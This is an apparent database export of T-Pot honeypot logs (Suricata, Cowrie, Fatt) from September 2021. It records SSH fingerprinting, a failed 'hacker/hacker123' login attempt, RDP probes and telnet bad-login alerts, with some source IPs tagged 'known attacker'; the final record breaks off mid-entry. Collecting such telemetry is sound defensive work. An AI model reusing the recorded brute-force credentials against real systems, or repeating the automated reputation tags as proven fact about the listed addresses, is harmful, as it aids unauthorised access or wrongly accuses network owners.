29293	110.137.195.172	109.199.241.180	Suricata	2021-09-20 14:24:35.159134+03	2021-09-20 14:30:03.943524+03	{"_id": "YAbzAnwBvYTbRNuEWzS5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:24:34.744247+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "proto": "TCP", "src_ip": "110.137.195.172", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 610353229749047, "payload": "AAADzAYUmflAitpd6cfRTcf6Do4QZgAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 29311, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:24:35.159134Z", "@timestamp": "2021-09-20T11:24:35.159Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "........@..]...M.....f...(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	\N	\N
30313	5.182.39.25	109.199.241.180	Cowrie	2021-09-20 14:33:57.708828+03	2021-09-20 14:45:02.839142+03	{"_id": "mQb7AnwBvYTbRNuE8jtT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "5.182.39.25", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.182.39.25", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-OpenSSH_7.4'", "session": "269438a3cbe4", "version": "b'SSH-2.0-OpenSSH_7.4'", "@version": "1", "timestamp": "2021-09-20T11:33:57.708828Z", "@timestamp": "2021-09-20T11:33:57.708Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
29294	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:24:34.954496+03	2021-09-20 14:30:03.944524+03	{"_id": "YwbzAnwBvYTbRNuEXDTs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "110.137.195.172", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 29311, "timestamp": "2021-09-20T11:24:34.954496", "@timestamp": "2021-09-20T11:24:34.954Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
29295	117.22.230.94	109.199.241.180	Fatt	2021-09-20 14:24:44.152507+03	2021-09-20 14:30:03.945524+03	{"_id": "jgbzAnwBvYTbRNuEgDQZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "117.22.230.94", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 2128, "dest_port": 22, "timestamp": "2021-09-20T11:24:44.152507", "@timestamp": "2021-09-20T11:24:44.152Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
29296	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:24:44.152738+03	2021-09-20 14:30:03.947523+03	{"_id": "jwbzAnwBvYTbRNuEgTQe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "117.22.230.94", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "76b3faf76ac4", "@version": "1", "timestamp": "2021-09-20T11:24:44.152738Z", "@timestamp": "2021-09-20T11:24:44.152Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
29297	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:24:45.327832+03	2021-09-20 14:30:03.948523+03	{"_id": "kAbzAnwBvYTbRNuEhTQF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "117.22.230.94", "eventid": "cowrie.login.failed", "message": "login attempt [hacker/hacker123] failed", "session": "76b3faf76ac4", "@version": "1", "password": "hacker123", "username": "hacker", "timestamp": "2021-09-20T11:24:45.327832Z", "@timestamp": "2021-09-20T11:24:45.327Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
29298	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:24:43.879412+03	2021-09-20 14:30:03.949524+03	{"_id": "iQbzAnwBvYTbRNuEfTQ1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "117.22.230.94", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 117.22.230.94:2128 (192.168.176.2:22) [session: 76b3faf76ac4]", "session": "76b3faf76ac4", "@version": "1", "protocol": "ssh", "src_port": 2128, "dest_port": 22, "timestamp": "2021-09-20T11:24:43.879412Z", "@timestamp": "2021-09-20T11:24:43.879Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
29299	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:24:43.882238+03	2021-09-20 14:30:03.950524+03	{"_id": "igbzAnwBvYTbRNuEfTQ1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "117.22.230.94", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "76b3faf76ac4", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:24:43.882238Z", "@timestamp": "2021-09-20T11:24:43.882Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
29300	117.22.230.94	109.199.241.180	Suricata	2021-09-20 14:24:44.151997+03	2021-09-20 14:30:03.951524+03	{"_id": "jAbzAnwBvYTbRNuEfjTn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "117.22.230.94", "dest_ip": "192.168.20.116", "flow_id": 539445467759164, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 2128, "dest_port": 22, "timestamp": "2021-09-20T11:24:44.151997Z", "@timestamp": "2021-09-20T11:24:44.151Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
29301	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:24:43.883152+03	2021-09-20 14:30:03.953523+03	{"_id": "jQbzAnwBvYTbRNuEgDQZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "117.22.230.94", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 2128, "timestamp": "2021-09-20T11:24:43.883152", "@timestamp": "2021-09-20T11:24:43.883Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
29302	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:24:39.376778+03	2021-09-20 14:30:03.954525+03	{"_id": "dQbzAnwBvYTbRNuEazRc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:24:39.042249+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 10576079594761, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 64995, "dest_port": 3389, "timestamp": "2021-09-20T11:24:39.376778Z", "@timestamp": "2021-09-20T11:24:39.376Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
29308	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:24:36.000489+03	2021-09-20 14:30:03.961524+03	{"_id": "gwbzAnwBvYTbRNuEdzQW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:23:17.605487+0000", "pkts_toclient": 7, "pkts_toserver": 10, "bytes_toclient": 548, "bytes_toserver": 1224}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 10, "action": "allowed", "category": "Potentially Bad Traffic", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2019_10_07"]}, "severity": 2, "signature": "GPL TELNET Bad Login", "signature_id": 2101251}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 1, "dest_ip": "109.104.151.106", "flow_id": 616993244134703, "payload": "bG9naW46IP/7AVBhc3N3b3JkOiAKTG9naW4gaW5jb3JyZWN0CmxvZ2luOiBQYXNzd29yZDogCkxvZ2luIGluY29ycmVjdApsb2dpbjog", "@version": "1", "src_port": 23, "app_proto": "failed", "dest_port": 52338, "timestamp": "2021-09-20T11:24:36.000489Z", "@timestamp": "2021-09-20T11:24:36.000Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "login: ...Password: \\nLogin incorrect\\nlogin: Password: \\nLogin incorrect\\nlogin: "}}	1	\N	\N	alert	\N	\N
29303	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:24:39.376778+03	2021-09-20 14:30:03.955525+03	{"_id": "dwbzAnwBvYTbRNuEazRt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:24:39.042249+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 10576079594761, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 64995, "dest_port": 3389, "timestamp": "2021-09-20T11:24:39.376778Z", "@timestamp": "2021-09-20T11:24:39.376Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
29304	61.133.192.126	109.199.241.180	Fatt	2021-09-20 14:24:39.376778+03	2021-09-20 14:30:03.957523+03	{"_id": "eAbzAnwBvYTbRNuEbDSP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "src_ip": "61.133.192.126", "dest_ip": "192.168.20.116", "@version": "1", "fatt_rdp": {"requestedProtocols": "0x00000003"}, "protocol": "rdp", "src_port": 64995, "dest_port": 3389, "timestamp": "2021-09-20T11:24:39.376778", "@timestamp": "2021-09-20T11:24:39.376Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	rdp	\N	\N	\N	\N
29305	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:24:39.756379+03	2021-09-20 14:30:03.958524+03	{"_id": "fwbzAnwBvYTbRNuEbzRF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:24:39.042249+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia 